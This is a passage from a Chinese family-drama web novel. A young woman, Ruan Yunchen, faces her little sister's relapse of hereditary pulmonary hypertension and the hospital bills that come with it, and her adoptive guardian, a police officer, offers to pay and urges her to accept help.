这个认知让阮云琛的呼吸变得有些不稳。她看着桌上的试卷,眼神渐渐收拢,心里那片迟迟无法平复的混乱,忽然多了一丝别样的东西。 也许她可以放手。 这不是逃避责任,也不是卸下担子,而是一种信任的试探。 信任那个每天都默默煮早餐、担起家里大小琐事的阮秋,信任他的肩膀已经足够宽,可以撑起那些她暂时无法顾及的重量。 她的目光掠过桌上的没一道菜,筷子无意识地点了一下碗缘,却没有落下声音。 离开家,去到更远的地方,追求那个她曾经不敢去想的目标,这对她来说意味着什么? 是自私,还是终于为自己活一次? 阮云琛沉默了一会儿,脑海中,那些零散的片段拼凑成一副完整的画面——不是一个人的抗争,而是两个人并肩的影子。 她轻轻吐出一口气,又夹了口炒蛋。 从未有人明确告诉她,她可以选择。 可现在...... 现在她想试着迈出那一步,看看前方的世界到底是什么模样。 “呀!姐姐!你把炒蛋都吃光了!” 淼淼一声委屈的惊呼唤回了阮云琛的神智,她愣了愣,筷子停在了嘴边,那半拉儿蛋也没夹稳,随着淼淼怨念的视线,一起落在了碗里的粥上。 淼淼不满地嘟囔了声,接着就被阮秋弹了个脑瓜嘣儿:“你又不爱吃炒蛋,跟姐姐抢什么。” “秋哥偏心!”淼淼大声控诉,“姐姐爱吃炒蛋你就给姐姐单独炒,我爱吃炸馍片你就不给我炸,哼!我不理你了!” 阮秋笑了笑,没被套进圈里:“鸡蛋健康啊,炸馍片油多大,别总吃。” 淼淼当然懂这个道理,她委委屈屈地扒拉了一下手里的馒头,小声嘟囔:“可是炸的就是好吃嘛。” 阮秋摇了摇头:“下次,下次炸。” 淼淼却没立刻接话,只是盯着桌上空了的炒蛋看了两眼,又看了看锅里还热着的粥,最后盯住了阮云琛,眼神带着一点小孩子特有的狡黠:“姐,你什么时候能学会做点好吃的啊?” “我做的不好吃?”阮云琛挑眉,把筷子敲在碗沿上,发出一声脆响。 “当然不好吃!”淼淼趁机翻了个白眼,毫不留情,“你就会白水煮面条,还只放醋和香油!” 阮云琛一时被噎住了,忍了几秒才开口:“白水煮面条怎么了?你以前不是很喜欢吃吗?” 淼淼张了张嘴,刚想反驳,又被阮秋抢先:“吃多了就腻了呗。” 他说着,把小米粥推到淼淼面前,嘴角挂着点不明的笑意:“好了,抱怨归抱怨,早饭要好好吃。” “秋哥最好了!”淼淼一看是小米粥,瞬间又开心起来,欢欢喜喜地喝了一大口,嘴里还不忘嘀咕,“姐要不还是别做饭了,咱们还是靠秋哥吧。” “有完没完?”阮云琛声音凉凉,伸手就去捏淼淼的耳朵,“天天嫌弃我,是谁把你一把屎一把尿地喂大的?” “哎呀,别动手!”淼淼连忙护住自己,一边笑一边往后缩,“姐,我错了,我错了还不行嘛!不过你下次能不能多学学秋哥,炒点菜?” “下次你自己去学。”阮云琛哼了一声,松开了手。 餐桌上笑声渐渐平息,窗外的阳光透过窗帘缝隙洒进来,映在碗沿的粥水上,晃出微微的波光。 窗外的树叶轻轻晃动,光影在墙上浮浮沉沉,时间像一只无声的钟表,滴答流转。 阮云琛忽地觉得眼前的一幕幸福得有些不真实。 不真实到,好像只要轻轻碰一下,就会碎掉。 “姐...我不舒服......” 76. 枷锁 灯光刺目,像一层薄冰盖住长廊的空气。推车滚轮碾过瓷砖地面的声音沉闷又尖利,每一次撞击都像是在敲击阮云琛的神经。 空气中弥漫着消毒水的味道,冷冷的,带着金属般的尖锐气息。 阮云琛的手指在膝盖上死死扣住,掌心渗出的细汗让她握得更紧了些。 她的背脊僵直得像一根快要断掉的弦,眼前的一切显得过分安静,仿佛所有的声音都被一层无形的屏障隔开,只剩下她自己的呼吸声,在胸腔里回荡着。 走廊尽头,医生的背影已经消失在病房门后,那道门却像一堵墙,隔绝了她所有试图抓住的答案。 刚才那句“需要继续观察”依旧盘旋在她耳边,轻飘飘的,像一根虚无的绳索,晃荡在她的头顶,却始终不落下来。 ——遗传性肺动脉高压。 这四个字像一道尖锐的回声,在她的脑海里反复撞击。 她早就该知道的。 ICU门口的灯光明了又灭,灭了又明。走廊的长椅冰冷僵硬,阮云琛的指尖在扶手上蜷缩成一团,冷得发麻。 淼淼躺在其中一张床上,脸色比病床的白单还要苍白。 心电监护仪的灯一闪一闪,微弱的光点像濒临熄灭的烛火,摇摇欲坠。 三年前的那个冬天,医生就已经说过,明确得像在宣告一场无法逃避的刑期:“复发是大概率事件。” 阮云琛紧抿着嘴,站在椅子旁,手指攥紧了背后的靠背,像要用这种力气填补某种正在塌陷的空洞。 她本该时时刻刻记住这句话的。 可她竟然忘了。 或者说......她选择性地忘了。 过去的三年,像是被硬生生抽走了大部分色彩,剩下的部分,是淼淼灿烂的笑脸,是阮秋渐渐挺直的肩膀,是他们短暂而平静的生活。 这样的日子曾让阮云琛以为,命运终于肯暂时松一松手。 可现在回想起来,这种想法可笑得让人想笑又笑不出来。 那不过是它留给她的喘息时间。 是一场冷酷的骗局,等她稍稍放下警惕,稍稍相信生活,才会重新拉紧,带着更大的力量,把她狠狠拖回深渊。现在回想起来,这种想法可笑得让人想笑又笑不出来。 她怎么敢? 她有什么资格去沉浸在这样的“幸福”里? 这一切本该时时刻刻提醒着她,警醒着她,可她却松懈了,疏忽了——就像现在,站在医院的走廊里,面对这份早就该预见的“复发”。 阮云琛的指尖一点点用力,抠住椅子的边缘,想要用疼痛来清醒自己。可一切却更加混乱了。 “姐。”阮秋的声音低低响起,打破了片刻的沉寂。 阮云琛没有抬头。 阮秋的脚步声近了些,他蹲下身,双手撑在膝盖上,抬头看她:“医生说问题不大,别太担心。” 她的目光在他脸上停了停,又迅速移开。她没回答,只是低声问:“手术的钱……还有多少钱?” 阮秋愣住了,脸上的神色像被什么东西狠狠撞了一下。 他的嘴唇动了动,却什么也没说出来。 阮云琛抽走了他手里的单据。 脚下的长椅发出一声刺耳的声响,阮云琛抬手揉了揉太阳穴,想把脑袋里的那团乱麻扯开,可却是越扯越乱。 她的眼神落在了阮秋带来的那袋快餐上,袋口敞开着,露出一个褐色的包装盒,边角还被油渍染了一点深色。那点深色仿佛迅速扩散开来,填满了她的整个视野。 ——医药费。 淼淼的医药费。 那些数字像一把锁链,缠住了她的呼吸。 三年前的那个冬天,她为了淼淼的手术,踏进了地下拳场。拳头打在对手身上的沉闷响声至今还在耳边盘旋,那三天里,她赚到了五十万,足够维持两年的治疗费用。 阮云琛的目光落在自己握紧的手上,指节发白,掌心细微的汗意让她抓不住任何真实的东西。 可是现在呢?现在...... 现在她没有任何可以一瞬间将命运扭转的办法。 医药费要多少?五十万?一百万? 阮云琛甚至不敢打开那张缴费单。 早上送报,晚上在汉堡店工作,连轴转的日子已经让她疲惫不堪。 那点微薄的收入堪堪维持三个人的生活开销,像是勉强搭建起来的纸房子,风一吹就摇摇欲坠。 阮秋和她都拿了奖学金,学费之外还能余下些钱存下来,可那些存款少得可怜,堆起来不过是杯水车薪。 而淼淼的病复发得越快,每一次治疗的成本就越高,像是一头深渊里的巨兽,缓缓张开它满是尖牙的巨口,等待着将他们最后的一点喘息也吞噬殆尽。 阮云琛的目光扫过膝盖上那张皱巴巴的单据,指尖不自觉地蜷缩起来,却又停在半途,手指悬空,迟迟没有落下。 她甚至不敢触碰那薄薄的一张纸,生怕里面的数字会像冰冷的锁链,将她的理智彻底拖入深渊。 她不知道自己能撑到什么时候。 医生的话还在耳边回荡,平静得像是在陈述天气:“我们会尽力控制住,但这种病……复发的概率很难说。” 很难说? 阮云琛几乎想笑,嘴角却一点也抬不起来。 三年前的她站在拳场的灯光下,迎接着震耳欲聋的欢呼声,像是一头被困在笼子里的猛兽。 而现在,那笼子变得无形,甚至更加狭窄。 阮云琛闭上眼,脑子里一片混乱。她知道自己不能再靠打拳,不能再选择那些偏离正道的生路。 可除了这条路,她还能走哪里? 墙上的时钟发出缓慢的滴答声,每一下都像是一记重锤,敲在她已经快要裂开的胸腔上。每过一秒钟,时间就越是紧迫,而她却像是被钉在原地,连迈开一步的勇气都失去了。 “姐。”阮秋轻轻拍了拍她的肩膀,语气压得低低的,像是在怕惊动什么,“我们一起想办法。” 阮云琛的眼睛干涩得发痛,像一片龟裂的土地,没办法再涌出半点湿润。她看着阮秋,喉咙像是被什么东西卡住了,动弹不得。 想办法? 还能有……什么办法? 这三个字像是被刻进了脑海,却始终找不到答案。 淼淼的病、医生冰冷的陈述、那张皱巴巴的缴费单,全都压在她胸口,像一座快要倾塌的山。 她的手指蜷在一起,指节泛白,指甲深深嵌入掌心,却抓不住任何东西。 阮云琛垂下头,目光落在单据上。字迹模糊,像浸过水一般,只有那冰冷的金额还保持着锐利的轮廓,像刀刃一样直戳她的心口。 耳边传来阮秋的呼吸声,轻而急促,仿佛正试图压住某种情绪。 他沉默了一会儿,忽然轻轻蹲下身,双手覆在她紧握成拳的手上。他的手掌温热,带着一丝不容忽视的力量,像是试图把她从深渊里拉出来。 “姐......阮云琛。”他的声音比刚才更低了些,带着一种小心翼翼的坚定,“你不是一个人。” 阮云琛的肩膀微微颤了一下,像是被什么击中了一样。她没有抬头,只是盯着那张单据,眼神一片空洞。 阮秋没有再说话,只是缓缓站起身,动作轻得像是在怕惊动空气。他微微低下头,像是在衡量什么,随后慢慢地伸出手,环住了她的肩膀。 那一瞬间,阮云琛的背脊僵硬得像一块石头,连呼吸都滞了一下。她从未习惯这样的亲密,尤其是在这一刻——她狼狈得像个溺水的人,根本不知道该如何回应。 阮秋的力道很轻,没有压迫感,却有一种不容逃避的包裹感。他什么也没说,只是站在那里,像是一座沉默的屏障。 他的肩膀比从前宽了许多,少年人抽条般的骨架已经慢慢成形,透着一种刚刚冒头的力量感。他的臂膀稳稳地圈着她,既不像小时候那种笨拙的依赖,也没有成人世界的油滑,更多的是一种少年特有的认真和执拗。 阮云琛低下头,目光在他的袖口上停了一瞬——洗得发白的布料微微绷起,隐约露出轮廓清晰的线条。 她怔了怔,那种细微的变化就像一面镜子,照出了时光的无声流转。 几秒钟的安静,像被无限拉长的时间。 隔了许久,阮云琛才缓缓抬起头,眼神在阮秋的肩膀上停顿了一秒,然后微微侧了侧身,抬手轻轻推开了他。 动作很轻,甚至带着点不易察觉的迟疑,像是在找一个合适的力道,不让这份亲密显得过分,也不至于完全拒绝。 “没事。”她低声开口,语气平静得让人分不清真假,却在最后的尾音里藏着一丝哑意,像是被风吹散的云,带着一点干涩和无力,“我没事。” 这句话像是一片突如其来的薄冰,冷冷地落下,却没有任何预兆。阮秋愣了一下,张了张嘴,却不知道能说什么,只是静静地看着她。 她的目光依旧停留在缴费单上,眼神却游离得没有焦点。那句“没事”究竟是说给阮秋听,还是说给自己听,她也说不清。 可她知道自己有事。 她无法克制地想到,淼淼的病并不是一次性解决的问题,它像是深藏在暗处的定时炸弹,每一次复发都可能将她拖进更深的泥潭。 而现在,她刚刚才下定决心为自己的人生争取一次机会,却被现实硬生生扯了回来。 是不是……她不该这么自私? 她的视线扫过阮秋。他的脸上是少见的凝重,少年清秀的眉眼被忧虑染得更深。他还不到十六岁,还是个孩子,可是,她却已经开始将家庭的重量一点点压在他肩膀上了。 她想起廖致远的那句话:“警校,或许是个不错的选择。” 那句话曾让她的内心翻涌出一丝光亮,可现在,那光亮却像是被突如其来的暴风吹灭了。 阮云琛没有回答。她只是低下头,看着手里那张揉得发皱的缴费单,指尖缓缓松开。几个字脱口而出,却像一片薄冰,轻得几乎消失在空气里。 “我是不是……该放弃?” 声音在空荡的走廊里被瞬间吞没,却像石子落入深潭,激起的涟漪在阮秋的眼里一层层扩散。 他的呼吸一滞,脸上的表情由愕然转为僵硬,随即眉心皱得更深。 “姐......”他张了张嘴,想说点什么,却发现嗓子发紧,连一个完整的词都说不出来。 阮秋见过这样的阮云琛,太多次了。 在桥下的那些夜晚,她裹着一件薄得几乎挡不住风的外套,匆匆经过,脚步踩得急促又坚定。 那时候的她,总是瘦削的背影挺得笔直,像一根拉到极限的弓弦,随时可能断裂,却硬生生撑着不肯弯下去。 后来进了家门,他无数次看到这样的她。 夜里,她常常一个人坐在客厅的沙发上,抱着一杯凉透了的水,盯着半空中的某一点发呆,像是想要从空气里找到答案。 窗外的月光落在她的肩膀上,却压不住那股近乎咄咄逼人的倔强——她总是把所有的重量都扛在自己身上,从不松手,也从不给人机会去分担。 他不是没有试过。 他曾经拼命地凿铁卖钱买了一兜子治伤的东西,曾经轻手轻脚地倒过去一杯热茶,也曾经站在她面前,试图让她开口说点什么。 可她只是摇了摇头,什么也不说,脸上那点短暂的柔和很快被夜晚的沉默吞没了。 此刻的她,和从前一样,像是所有的力量都在撑住一座岌岌可危的大厦,哪怕脊背已经快要折断,手指已经颤抖得握不住任何东西。 阮秋的目光落在她手上的缴费单上,那张纸皱得不成样子,边角卷曲得像风中即将碎裂的树叶。 她的手指微微颤抖,指节发白,掌心渗出一层细汗,似乎再用一点力,就要抓破那薄薄的一层纸。 “姐。”他又低声唤了一声,语气比刚才更轻,却带着一种近乎隐忍的急切。 可她依旧没有回答,眼睛干涸得发红,目光空洞又僵硬。那种倔强,像是从骨头里生出来的屏障,把他拦在了外面。 阮秋的胸口微微收紧,仿佛被无形的手攥住。他不是没有想过帮她分担,可他能做什么? 他还不到十六岁,连一个打工的门槛都够不着。他甚至觉得,自己的存在本身,都是她肩膀上的一块累赘。 可尽管如此,他还是不愿退缩。他不想再看她一个人撑下去,就像以前那些无数个夜晚那样。 少年缓缓蹲下身,与她的视线平齐。 他没有开口,只是伸出手,覆在她握紧的手上,那力道轻得像是怕惊动了什么,但却足够坚定。 阮云琛的肩膀轻轻一颤,像是被什么东西触碰了一下。 她没有抬头,只是低着头笑了一下,那笑容浅得几乎要融进空气里,没有一点暖意,只有一种近乎自嘲的疲惫。 阮秋蹲在那儿,手缓缓拿了开,五指收拢又松开,最后却又覆了上去。 这句话,他知道太重了,可他还是说了出来。 他没办法不说。 他知道,他和淼淼——是的,他,和淼淼,都是阮云琛的软肋。 他们是她拼尽 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她的目光依旧停在膝盖上,像是要将自己藏进那片阴影里。可她心里清楚,阮秋说的每一个字,都是她无法逃避的真相。 如果她放弃了,她和淼淼这些年的努力,还有阮秋的成长——那些她曾以为的微弱的光亮,全都会被这一刻的退缩埋葬。 “你要去的地方,只有你能去,”阮秋的声音里带着些许压抑的颤抖,但语气却极其坚定,“你知道你该怎么做,姐。” 他的语气很轻,却像一道慢慢压下来的锤子,直击阮云琛心底深处的某一处伤口。 她的手指微微收紧,指节发白,掌心早已被汗浸得湿冷。空气仿佛凝滞了一瞬,周围的一切都安静了下来,只剩下窗外的风,轻轻撩动窗帘,发出细微的窸窣声。 她的目光垂在地板上,像是刻意避开了阮秋的眼神。可那目光却一点点晃动,仿佛随时会被拉回到某个尖锐的现实里。 几秒钟过去了,像是被无限拉长的时间。 “我还能怎么办?”阮云琛终于开了口,声音却哑得像砂砾在风里擦过。她的嗓子像是被什么堵住了,后半句话几乎是从喉咙深处挤出来的:“可我还能怎么办……?” 阮秋的目光微微一沉。 他没有立刻回答,只是看着她,眉头紧蹙,嘴角抿得很紧。那一瞬间,他的手指蜷了一下,又松开,像是在斟酌什么。 “要不要试着……依赖一下别人?”他的声音低下来,像是怕惊动什么。 阮云琛抬起眼,看了他一瞬,眉头皱得更深。她的嘴角微微动了一下,像是要说点什么,可最终只是轻轻吐出一口气。 “别人?”她低声重复,嗓音里带着一点近乎自嘲的涩意。 “廖叔叔。”阮秋的话音落下,像是一颗小石子,悄然扔进了平静的湖面。 阮云琛的呼吸一滞,目光没有焦点地落在地面上,像是看到了某种无形的束缚。 ——廖致远。 这个名字太过熟悉,熟悉到她几乎忘记了,他的存在也意味着一种选择。 阮云琛的脑海里浮现出他第一次带他们回家的场景,那天的阳光穿过窗棂,落在客厅昏暗的地板上。 廖致远站在窗边,一身藏青色的警服,腰板挺得笔直。那时的她,满脑子只有警惕和疑惑。 她不知道这个男人为何同意帮他们,为何执意要收留他们,也不知道他的帮助究竟意味着什么。 她一向习惯于猜疑,习惯于孤军奋战。无论是九岁时逃离福利院,还是后来一次次在生存边缘挣扎,她从未指望过别人。 可廖致远,又似乎有些不同的。 他带着一种沉默而疏离的关怀,从不打扰她,却也从未真正远离。 她想起他给她交过的学费,修过的房顶,还有每一次出差前留在餐桌上的几百块钱。那张随手写的便签纸上,字迹端正,却总是言简意赅——“别让淼淼和阮秋饿着。” 那些帮助,是实打实的重量,但她却从未让自己习惯它。 ——依赖。 这个词让阮云琛的胸口一阵发闷,像是压了一块石头。 她不是没有想过这个可能,可每次想到,它都像一面镜子,反射出她最不愿面对的东西:她的无能,她的失败,她的无力。 阮云琛的手不自觉地蜷紧了一些,指节泛白。 依赖别人意味着承认她没办法保护好弟妹,承认她的能力不足以应对这场突如其来的灾难。 可...... 她刚刚才决定为自己的人生争取一次机会,现在却被现实狠狠拉了回来。这世道早已千疮百孔,每一个缝隙都能吞噬掉她微不足道的努力。 阮云琛轻轻吸了一口气,嗓子却像被灌了沙,发不出声。 她的目光扫过阮秋,他的脸上是少年特有的倔强和不安,那种无法完全掩饰的忧虑,像一层薄雾笼罩着他清秀的眉眼。 有那么一瞬间,阮云琛忽然觉得,阮秋说得对。 依赖别人......依赖别人,又为什么不可以? 她也...... 她也,并非是万能的。 可下一秒,否定的声音便又响彻了脑海。 就算廖致远偶尔会留下一笔生活费,可又怎么能靠这个就觉得理所当然? 阮云琛清楚自己的位置,她从未把这种庇护当作安全网。 一股复杂的情绪像潮水般涌上来,淹没了刚才那一瞬间的念头。 不行......不行。 不能变得软弱。 不能将任何东西交托在他人手中。 阮云琛闭了闭眼,指尖在掌心蜷缩得更紧了些,似乎只有用力到发痛,才能将自己从这种念头里拉回来。 她盯着地板,那光滑的瓷砖上倒映着模糊的人影,却没有一丝属于她的答案。头顶的灯光刺目得像一根悬着的针,扎在她的视网膜上,也扎在她的心口。 可如果是真的呢......?如果真的有别的选择...... 阮云琛不知道。 她不敢知道。 那些从九岁开始就筑起的坚固壁垒,从出生开始就无法逃离的沉重枷锁,有时候,那些东西带得久了,便习惯了。 卸不下来。 不敢卸下来。 忽地,一阵脚步声缓缓从走廊的另一头传来,低沉而稳重。阮云琛肩膀微微一颤,像是被什么无形的力道击中,慢慢地抬起了头。 77. 依赖 走廊的灯光一如既往地明亮,冷白色笼罩着地面,像一层无法驱散的霜。 光线过分地干净,没有一丝温度,刺得人眼睛发涩。空气里消毒水的气味浓烈得近乎刺鼻,每一次吸气都像被刀刃划过鼻腔,冷而涩。 廖致远在阮云琛面前停了下来。 他的目光在她的脸上短暂地停留了一秒,很快便看向了她手里那张已经快要被捏皱了的纸上。 阮云琛仍死死攥着那张缴费单,指节泛白,掌心微微出汗,将纸张揉出了细小的褶皱。她盯着地面,试图将所有的情绪都锁进这一个动作里,锁进这看似坚不可摧的沉默里。 可下一秒,那纸就被抽走了。 阮云琛愣了下,甚至没有反应过来,她的手指还保持着原来的弯曲姿势,像是在攥着什么虚无的东西。 她下意识地抬起头,目光有些茫然地追随廖致远的动作,直到看到那张单据被他卷起,顺手塞进了外套口袋。 “你……”她刚想开口,嗓子却像被什么堵住了一样,只发出一个含糊的音节。 廖致远没有给她多余的解释,只是轻轻拍了拍她的肩膀,没有说话,转过身去,沿着那长到看不到尽头的走廊,朝楼梯方向走去。 走廊里的灯光太亮,像一片压抑的白,刺得阮云琛的眼睛发疼。 她动了动手指,攥紧缴费单时留下的压痕还浅浅地嵌在掌心,触感冰冷,边角分明。指尖微微发麻,却怎么也握不住什么。 廖致远的身影渐渐远去,变得模糊不清,像是融进了走廊尽头的空气里。阮云琛的目光不自觉地追随着,却在他转过拐角的瞬间停了下来。 有那么一瞬间,她觉得自己像是被扔进了一片真空,所有的声音、动作都被抽离,只剩下一片寂静的空白。 她的指尖无意识地蜷了蜷,掌心还留着刚才攥紧缴费单的力道,触感生硬又冰冷,像某种早该丢弃却偏偏留下的东西。 阮云琛缓缓低下了头去,直勾勾地看着自己的手,皮肤上浅浅的压痕慢慢浮现出来,边缘泛着一点微红。 可那片空荡荡的掌心,却仿佛是某种无形的镜子,照出了她拼命想藏起来的狼狈和脆弱。 她的眼睛发涩,喉咙干得几乎发痛,却没有出声。耳边是推车滚动的声音,一下一下敲击着她的神经,像被时间打磨得过分尖锐的石块,嵌进她的思绪里,扎得生疼。 有一种说不上来的空虚感窜了上来。 可那种空虚感却没那么简单。 轻松与沉重交织在一起,像两股无形的绳索,拉扯着她的神经。 一部分的她在悄悄松气,另一部分却沉甸甸的,像是被什么压住了胸口。 轻松......? 还是沉重? 阮云琛自己也分不清楚。 她找不到答案。 她没有找到答案的力气。 空气静得令人难堪,只剩下手心里渐渐散去的汗意。 阮云琛抿了抿嘴唇,试图让自己的胸口不那么堵,可那口气始终卡在那里,进也不是,出也不是。 她的目光不自觉地被廖致远的动作牵引,他的背影稳稳地向走廊尽头移动,灯光从他肩膀上滑过去,像洒落在他身上的一层灰白色的冷霜。 他走得那么自然,带着一种稳重的节奏,仿佛那只是例行公事,而不是她翻遍了口袋都找不出的答案。 她心里有一种微妙的失衡感涌上来。 像是被剥夺了什么,又像是得到了某种她从未奢望过的东西——那种感觉让她不自在,却又无法反抗。 阮秋站在旁边,目光在她脸上停留了片刻。他垂下头,嘴唇动了动,像是想说些什么,却又在最后一秒止住了。 那种少年特有的倔强与不甘浮现在他的眉眼间,却被无奈的阴影覆盖住。他的手缩了回去,捏了捏自己的裤缝,像是在把想说的话捏成一个难以开口的句子。 阮云琛低低地吸了一口气,气息却像被什么堵住了一样,只能到胸口便无声散去。 她的目光扫过阮秋,却没有多说什么。 他在等待她开口,可她什么也说不出口。 阮云琛不是不懂他的心情。 阮秋从小就是这样,总是试图插手那些他够不到的事情,总是想用并不宽的肩膀替她撑起些什么。 他明明只是个还不到十六岁的孩子,却已经把所有的沉重放在了心里。 她的目光穿过阮秋,落在走廊尽头。廖致远的背影已经消失在转角处,只留下刚刚还在身边的那一丝烟草味道,和他走过时带起的轻微风声。 阮云琛只觉得喉咙干涩,像是卡着什么,说不出话,也咽不下去。 她的手指蜷了一下,掌心的汗意渐渐消散,取而代之的是隐隐的发痛感。 空气很安静,安静得让人几乎听不到自己的呼吸声,可阮云琛的脑海里却还是不停地闪过廖致远刚才的身影。 她眨了一下眼,眼睑干涩得仿佛要开裂。那一瞬间,她分不清自己更倾向于什么——是站在那里不动,还是追上去,问他到底想做什么。 ——可她分明知道他是去做什么的。 阮云琛站了起来。 “走吧。”她说,声音低得像落在空气里,轻轻一拂便消失了。 她迈出一步,阮秋却没有跟上。他站在原地,眼神紧紧地落在她身上,那种不安与隐忍仿佛要化作某种出口。 可最终,他什么也没说,只是轻轻地应了一声:“嗯。” 廖致远又点燃了一根烟。 “禁烟”两个字就在不远处的墙上挂着,白底黑字,规规矩矩地立在那里,可却被廖致远吐出去的烟雾给蒙上了一层白,变得不太清楚。 阮云琛止不住看了过去。 廖致远愣了愣,夹着烟的手悬在半空,动作一顿。 他低头看了看手里的烟头,又抬眼看了看阮云琛,目光在她的脸上扫了一圈,不动声色地把烟头怼上了垃圾桶的边。 烟头发出了轻微的“嗤”声,冒着青白色的烟圈灭了下去。他盯着那烟头看了会儿,把没抽完的给收进了烟盒,一起塞去了兜里。 他低头看了一眼地面上的烟灰,又抬起眼,看着阮云琛旁边的树影,缓缓地叹了口气。 风吹动旁边的树叶,光影摇曳着落在他面前的地砖上。 “这地方还挺安静。”他说,语气像是在自言自语。 阮云琛“嗯”了声,微微侧了侧头,目光从脚边移到不远处的花坛。空气静了一会儿,廖致远从口袋里摸出打火机,转了转,又放回去。 “淼淼刚才看起来还好。”他的声音放得很低,像是不想惊动这片安静的空间,“医生说要留院观察一阵子,如果熬过危险期,基本就能回家了。” “好。”阮云琛点了点头,嘴唇抿得紧紧的,像是在认真听,可目光始终没有落到他身上。 廖致远没再开口。 他站在那里,手指不紧不慢地揉着袖口的一角,目光兜兜转转,又盯向了那块禁烟标识。 透过树影的光将那红色的字映成一种刺眼的深灰,风吹过枝叶,影子在地面上像游离的墨迹,模糊却不曾静止。 阮云琛也没有动。 她的手垂在身侧,指尖轻轻扣着掌心,像是为了克制什么,却又不自觉地放松。她的视线低垂着,停在地砖的缝隙里,像是那块陈旧的地面里藏着她一直不敢面对的某些答案。 阮秋去给淼淼领饭券去了——没有饭券,连医院的食堂都吃不上。虽然不知道她这几天会不会醒,但领了总比什么都没有的强。 廖致远低头,手指无意识地搓了搓袖口,那是一种几乎本能的动作,像是在理顺某种心绪。他看上去漫不经心,可站得久了,连背都微微僵硬起来。 他很少这样,站在一个地方,像在酝酿什么话,却迟迟没开口。风从树梢滑下来,光影在他的肩膀上晃动了一下,又安静地落回地面。 他的目光缓缓地转向禁烟标识,盯着那红色的字看了片刻,嘴唇抿得紧紧的,像是在压抑某种冲动。片刻后,他收回视线,目光扫过阮云琛低垂的脸。她没有动,手还垂在身侧,微微蜷着,像是在刻意避免与外界接触。 廖致远轻轻吸了口气,眉头几不可察地皱了一下。他很少主动开口,也不知道该怎么说——那些他想说的话总是太重了,重得让他自己都觉得别扭。 他对人际关系的生疏,对情感表达的笨拙,让他迟疑着,甚至踌躇着,像一个被逼上前线的战士,手里拿着他并不熟悉的武器。 可是他知道,这句话,终究是该他说的。 他抬起手,却在半空中顿了一下,最终只是落在了自己的口袋里。他垂下眼,低声说道:“医药费的事,不用你担心。” 这句话落下时,阮云琛微微一怔,目光停在地面。她听懂了,但她同时又恨自己为什么什么都听得那么懂。 风从花坛边的小路吹过来,带着些许湿润的凉意,拂过她的发梢,却没有吹散那股沉沉的压迫感。 “我……”阮云琛开了口,声音却哑了下去。指尖不自觉地揪住衣角,力道一分一分地加重,像是要从那薄薄的布料里攥出点什么来,可却连半个拒绝的字眼儿也挤不出来。 她知道的,她很清楚。 她只能依赖于眼前的这个人。 “谢谢您。” 阮云琛的声音轻得像风过叶梢,带着一点拘谨,一点小心翼翼,甚至还有一点惶恐。她低着头,额前的碎发遮住了眼睛,像是在掩饰某种情绪。 廖致远没有立刻回答,他只是低头看了一眼自己的鞋尖,像是在思索,又像是在给她留点空间。 片刻后,他的声音再次响起:“不需要谢,这是我该做的。” 他的语气不急不缓,却透着一丝压住的力量,“你不用去想怎么筹钱,不用再去把自己的时间掰成几段去换那些辛苦钱。这件事,我来解决。” “可......”阮云琛抬起头,眼神里有种复杂的情绪,“您为什么觉得自己该做这些?” 廖致远没有立刻回答,他转头看了一眼不远处的花坛,目光在摇晃的枝叶上停留了一会儿,像是在思索,又像是在衡量。 “如果没有您,我们三个人早就不知道在哪里了。”阮云琛的声音很轻,轻得像风吹过,却又带着一股沉沉的钝感,“您已经帮助了很多......没必要做到这个地步。” “所以你就觉得,你必须把所有的事情都自己扛下来,是吗?”廖致远低声问,语气平静,却带着某种深入骨髓的疲惫,“就因为你觉得别人的好意,是负担?” 阮云琛没有回答,但她的眼神明显动了一下。 “你只是没习惯。”廖致远的声音低了一些,像是压住了某种情绪,“没习惯有人替你分担,有人站在你身后,让你不用那么累。” 他话音一顿,目光转向站在不远处的阮秋,那个少年靠着墙,手里握着手机,神色低垂,却总有目光不经意地飘过来。 “不是所有人都要靠你一个人撑着。”廖致远收回目光,声音里带着一丝柔和,“你总该相信一下别人,尤其是……” 他没有说完,只是看向了远处——阮秋拎着一袋盒饭从医院的大楼里走了出来。 阮云琛沉默着。 她的手指在衣角上揉了一 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他知道自己没法抽这根烟,尤其是在这种时候。淼淼还在病房里,阮云琛站在面前,她那紧攥衣角的手让他看得出,她比他更需要一个出口——一个看上去可以依靠的出口。 可他也知道,他并不是那个真正能让人依靠的人。他只是在尽力扮演着这个角色——一个对自己来说既陌生又沉重的角色。 廖致远把手放进口袋,深吸了一口气,又缓缓吐出来。他低声说道:“别把接受别人的帮助,当成欠债。” 他嘴角动了一下,想笑,却没笑出来,最后只化作了一声叹息:“你总觉得自己得还清每一笔账,可有些事……不是这么算的。” 阮云琛没答话,手却慢慢松了下来。她盯着面前的地砖,像是盯着某种深不见底的漩涡,目光变得飘忽而迟疑。 “我说句你不爱听的。”廖致远靠在墙上,语气带了点漫不经心,“你觉得自己是全家唯一的支柱,可这家也不只是你一个人在撑着。” 阮云琛猛地抬起头,眼里带着一点被触及防线的警觉。 “别误会,我不是批评你。”廖致远叹了口气,语气缓了几分,“我是说,哪怕你不在,家也不会散。” 阮云琛的眉心微微皱了一下,眼神里透出几分复杂,像是挣扎,又像是抵触。 廖致远没有再继续,而是低头看了看自己的手表,手指无意识地在表带上敲了两下,像是在给她留时间消化。他的声音比刚才更轻了一些:“你该试着相信别人了。” 阮云琛抬头看了他一眼,眼神里藏着不易察觉的疑惑。她没有出声,安静地等着他说下去。 廖致远迟疑了一瞬,像是终于下定了决心。 他直起身,抬眼看向阮云琛,目光平静却带着一种很难形容的复杂情感。他的声音低下来,却没有任何回旋的余地:“我不是你的亲生父亲。” 阮云琛的眉头轻轻动了一下。 她没有说话,只是神色变得茫然了起来。 廖致远顿了一下,似乎在斟酌语句,又似乎是在酝酿......勇气? 阮云琛猜不到。 隔了很久,他才缓缓舒了口气:“我知道你也没把我当成父亲。我不怪你,你也不用觉得愧疚。但有一点,我想让你明白——我是你的领养人。法律上如此,情理上也是。” “我有能力照顾你,也有义务照顾你。”他轻轻地吐出这句话,语气却沉稳得几乎让人无法反驳,“而且……我愿意。” 阮云琛的手垂在身侧,指尖轻轻蜷了一下。她张了张嘴,却没有发出声音。 廖致远看着她,目光沉沉,语气却多了一丝柔和:“不要觉得收养你们,是你求来的机会。你得知道,当初保护你们的方式有很多。我却选择了这一条。” “为......什么?”阮云琛的声音很轻,几乎是下意识地问出口。 “因为我想,因为我愿意,这不是因为你的祈求,也不是因为你的逼迫。”廖致远的目光一瞬不移,“你觉得是你选择了向我求助...不,是我选择了你,我选择帮助你,选择让你依赖。” 